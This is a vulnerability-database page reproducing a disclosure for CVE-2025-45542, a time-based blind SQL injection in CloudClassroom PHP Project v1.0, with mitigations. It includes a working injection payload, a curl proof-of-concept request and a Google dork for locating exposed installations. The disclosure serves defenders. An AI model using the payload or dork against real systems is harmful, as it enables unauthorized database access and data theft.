Lucene search
K

📄 CloudClassroom PHP Project 1.0 SQL Injection

🗓️ 03 Jun 2025 00:00:00Reported by Sanjay SinghType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 155 Views

CVE-2025-45542: Time-based blind SQL injection in CloudClassroom PHP Project v1.0 enabling remote exploitation.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-45542
2 Jun 202517:01
circl
CNNVD
CloudClassroom-PHP-Project SQL注入漏洞
2 Jun 202500:00
cnnvd
CVE
CVE-2025-45542
2 Jun 202500:00
cve
Cvelist
CVE-2025-45542
2 Jun 202500:00
cvelist
Exploit DB
CloudClassroom PHP Project 1.0 - SQL Injection
5 Jun 202500:00
exploitdb
EUVD
EUVD-2025-16669
3 Oct 202520:07
euvd
NVD
CVE-2025-45542
2 Jun 202516:15
nvd
OSV
CVE-2025-45542
2 Jun 202516:15
osv
Positive Technologies
PT-2025-23532 · Unknown · Cloudclassroom-Php Project
2 Jun 202500:00
ptsecurity
RedhatCVE
CVE-2025-45542
4 Jun 202500:14
redhatcve
Rows per page
Hello Full Disclosure list,
    
    I am sharing details of a newly assigned CVE affecting an open-source
    educational software project:
    
    ------------------------------------------------------------------------
    CVE-2025-45542: Time-Based Blind SQL Injection in CloudClassroom PHP
    Project v1.0
    ------------------------------------------------------------------------
    
    Product: CloudClassroom PHP Project
    Vendor: https://github.com/mathurvishal/CloudClassroom-PHP-Project
    Affected Version: v1.0
    Vulnerability Type: SQL Injection
    Attack Type: Remote
    CVE ID: CVE-2025-45542
    Discoverer: Sanjay Singh
    
    Vulnerability Details:
    A time-based blind SQL injection vulnerability exists in the
    `registrationform` endpoint of CloudClassroom-PHP-Project v1.0. The `pass`
    parameter is not properly sanitized, allowing an unauthenticated remote
    attacker to manipulate backend SQL logic and potentially extract sensitive
    information.
    
    Proof of Concept:
    The vulnerability can be exploited using a POST request with a crafted
    payload like:
    `'XOR(if(now()=sysdate(),sleep(6),0))XOR'`
    
    Impact:
    Successful exploitation allows for:
    - Arbitrary SQL execution
    - Potential information disclosure
    - Authentication bypass under certain conditions
    
    Recommended Mitigations:
    - Use prepared statements with parameterized queries
    - Sanitize input with `mysqli_real_escape_string()` or similar
    - Implement a Web Application Firewall (WAF)
    - Enforce least privilege on the application’s DB user
    
    References:
    - GitHub: https://github.com/mathurvishal/CloudClassroom-PHP-Project
    - Exploit-DB Submission (pending approval)
    - GHDB Dork (submitted): `inurl:"CloudClassroom-PHP-Project-master"
    intitle:"Cloud Classroom"`
    
    I have also submitted this to Exploit-DB and the Google Hacking Database to
    assist defenders and researchers.
    
    Attached is a detailed advisory in plain text format.
    
    Regards,
    Sanjay Singh
    https://www.linkedin.com/in/sanjay70023
    
    https://gist.github.com/sanjay70023/63e9c32e49a0760eaa6b9e2a8ba8c966
    
    
    --- packet storm appended exploit below ---
    
    # Exploit Title: CloudClassroom PHP Project v1.0 - Time-Based Blind SQL Injection (pass parameter)
    # Google Dork: inurl:CloudClassroom-PHP-Project-master
    # Date: 2025-05-30
    # Exploit Author: Sanjay Singh
    # Vendor Homepage: https://github.com/mathurvishal/CloudClassroom-PHP-Project
    # Software Link: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip
    # Version: 1.0
    # Tested on: XAMPP on Windows 10 / Ubuntu 22.04
    # CVE : CVE-2025-45542
    
    # Description:
    # A time-based blind SQL injection vulnerability exists in the pass parameter 
    # of the registrationform endpoint. An attacker can exploit this issue by sending 
    # a malicious POST request to delay server response and infer data.
    
    # PoC Request (simulated using curl):
    
    curl -X POST http://localhost/CloudClassroom-PHP-Project-master/registrationform \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "addrs=3137%20Laguna%20Street&course=1&dob=1967/1/1&[email protected]&faname=test&fname=test&gender=Female&lname=test&pass=u]H[ww6KrA9F.x-F0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z&phno=94102&sub="
    
    # The server response will be delayed if the SQL condition is true, confirming the injection point.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jun 2025 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 3.17.3
EPSS0.00671
SSVC
155